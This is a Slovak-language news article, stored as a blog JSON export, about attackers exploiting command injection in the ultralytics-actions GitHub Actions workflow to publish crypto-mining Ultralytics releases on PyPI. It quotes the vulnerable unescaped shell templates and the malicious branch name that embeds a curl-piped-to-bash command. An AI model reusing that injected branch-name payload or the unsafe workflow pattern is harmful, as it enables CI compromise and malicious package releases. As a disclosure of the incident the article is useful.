{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sk\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Chyba v spracovate\u013eovi GitHub Actions viedla k zverejneniu \u0161kodliv\u00fdch release-ov Ultralytics.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Zlodeji sa podarilo vykona\u0165 k\u00f3d so susedsk\u00fdmi pr\u00e1vami GitHub Actions v repozit\u00e1ri Python kni\u017enice Ultralytics, pou\u017e\u00edvan\u00e9ho na rie\u0161enie \u00faloh po\u010d\u00edta\u010dov\u00e9ho videnia, ako je identifik\u00e1cia objektov na obr\u00e1zkoch a segment\u00e1cia obr\u00e1zkov. Po z\u00edskan\u00ed pr\u00edstupu k repozit\u00e1ru \u00fato\u010dn\u00edci publikovali v katal\u00f3gu PyPI nieko\u013eko nov\u00fdch vydan\u00ed Ultralytics, ktor\u00e9 obsahovali \u0161kodliv\u00e9 zmeny na \u0165a\u017ebu kryptomien. V poslednom mesiaci bola kni\u017enica Ultralytics stiahnut\u00e1 z katal\u00f3gu PyPI viac ako 6,4 mili\u00f3na kr\u00e1t. <\/p>\n
Na kompromit\u00e1ciu \u00falo\u017eiska bola vyu\u017eit\u00e1 zranite\u013enos\u0165 v bal\u00edku ultralytics-actions, ktor\u00fd sa pou\u017e\u00edva na automatick\u00e9 sp\u00fa\u0161\u0165anie spracovate\u013eov pri vykon\u00e1van\u00ed ur\u010dit\u00fdch akci\u00ed s \u00falo\u017eiskom na GitHub, pri\u010dom sa vyu\u017e\u00edva mechanizmus GitHub Actions. Vo projekte ultralytics sa zranite\u013en\u00fd spracovate\u013e viazal na udalos\u0165 pull_request_target a bol vyvolan\u00fd pri prijat\u00ed nov\u00fdch pull requestov. Konkr\u00e9tne, na form\u00e1tovanie k\u00f3du v zaslan\u00fdch pull requestoch bol vyvolan\u00fd spracovate\u013e format.yml a vykonal sa k\u00f3d uveden\u00fd v sekcii \u201erun\u201c s\u00faboru action.yml, v ktorom boli shell pr\u00edkazy s podlo\u017ekov\u00fdmi \u0161abl\u00f3nami: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name \u201e${{ inputs.github_username }}\u201c git config --global user.email \u201e${{ inputs.github_email }}\u201c <\/p>\n
T\u00fdmto sp\u00f4sobom sa do shell pr\u00edkazov bez riadneho escapovania vkladalo n\u00e1zov Git vetvy, spom\u00ednanej v pull requeste. Zauj\u00edmav\u00e9 je, \u017ee v auguste bola v bal\u00edku ultralytics-actions u\u017e opraven\u00e1 podobn\u00e1 zranite\u013enos\u0165, s\u00favisiaca s pou\u017eit\u00edm extern\u00e9ho hodnoty vo funkcii echo: echo \u201egithub.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\u201c <\/p>\n
Na zorganizovanie vykonania svojho k\u00f3du v kontexte spracovate\u013ea GitHub Actions \u00fato\u010dn\u00edci poslali pull-\u017eiadost do repozit\u00e1ra ultralytics s uveden\u00edm nasledovn\u00e9ho n\u00e1zvu vetvy: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
V d\u00f4sledku toho sa pri prijat\u00ed pull requestu do k\u00f3du vlo\u017eila zadan\u00e1 re\u0165azec \u00fato\u010dn\u00edkmi \u201e$(…)\u201c, ktor\u00e1 pri n\u00e1slednom spusten\u00ed spracovate\u013ea viedla k vykonaniu k\u00f3du \u201ecurl -sSfL raw.githubusercontent.com\/\u2026\/file.sh | bash\u201c.
<\/center> <\/p>\n
Spustenie k\u00f3du v kontexte GitHub Actions m\u00f4\u017ee by\u0165 pou\u017eit\u00e9 na z\u00edskanie pr\u00edstupov\u00e9ho tokenu k repozit\u00e1ru a in\u00fdch d\u00f4vern\u00fdch \u00fadajov. Ako presne \u00fato\u010dn\u00edkom podarilo vytvori\u0165 vydanie a z\u00edska\u0165 schopnos\u0165 vykon\u00e1va\u0165 svoj k\u00f3d v GitHub Actions, zatia\u013e nie je jasn\u00e9; predpoklad\u00e1 sa, \u017ee to bolo mo\u017en\u00e9 zmenou spracovate\u013ea publish.yml (\u00fato\u010dn\u00edci odstr\u00e1nili kontrolu \u00fa\u010dtu, ktor\u00e9mu je povolen\u00e9 publikova\u0165 vydania v PyPI) a pou\u017eit\u00edm techniky znehodnotenia cache GitHub Actions na vlo\u017eenie svojich \u00fadajov do vydania. <\/p>\n
Prv\u00e9 \u0161kodliv\u00e9 vydanie Ultralytics 8.3.41 bolo zverejnen\u00e9 \u00fato\u010dn\u00edkmi v katal\u00f3gu PyPI 4. decembra o 23:51 (MSK) a odstr\u00e1nen\u00e9 bolo o 12:15 nasleduj\u00faceho d\u0148a. O 15:47 bolo zverejnen\u00e9 \u010fal\u0161ie vydanie 8.3.42, ktor\u00e9 bolo odstr\u00e1nen\u00e9 o 16:47. Takto boli \u0161kodliv\u00e9 verzie celkovo dostupn\u00e9 na stiahnutie pribli\u017ene 13 hod\u00edn (v de\u0148 sa v PyPI zaznamen\u00e1va pribli\u017ene 250 tis\u00edc stiahnut\u00ed kni\u017enice ultralytics). V r\u00e1mci vydan\u00ed 8.3.41 a 8.3.42 bol pr\u00edtomn\u00fd k\u00f3d na vykon\u00e1vanie s\u0165ahovania z extern\u00e9ho servera<\/a> komponentu XMRig na \u0165a\u017ebu kryptomien. <\/p>\n
![\"Chyba](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n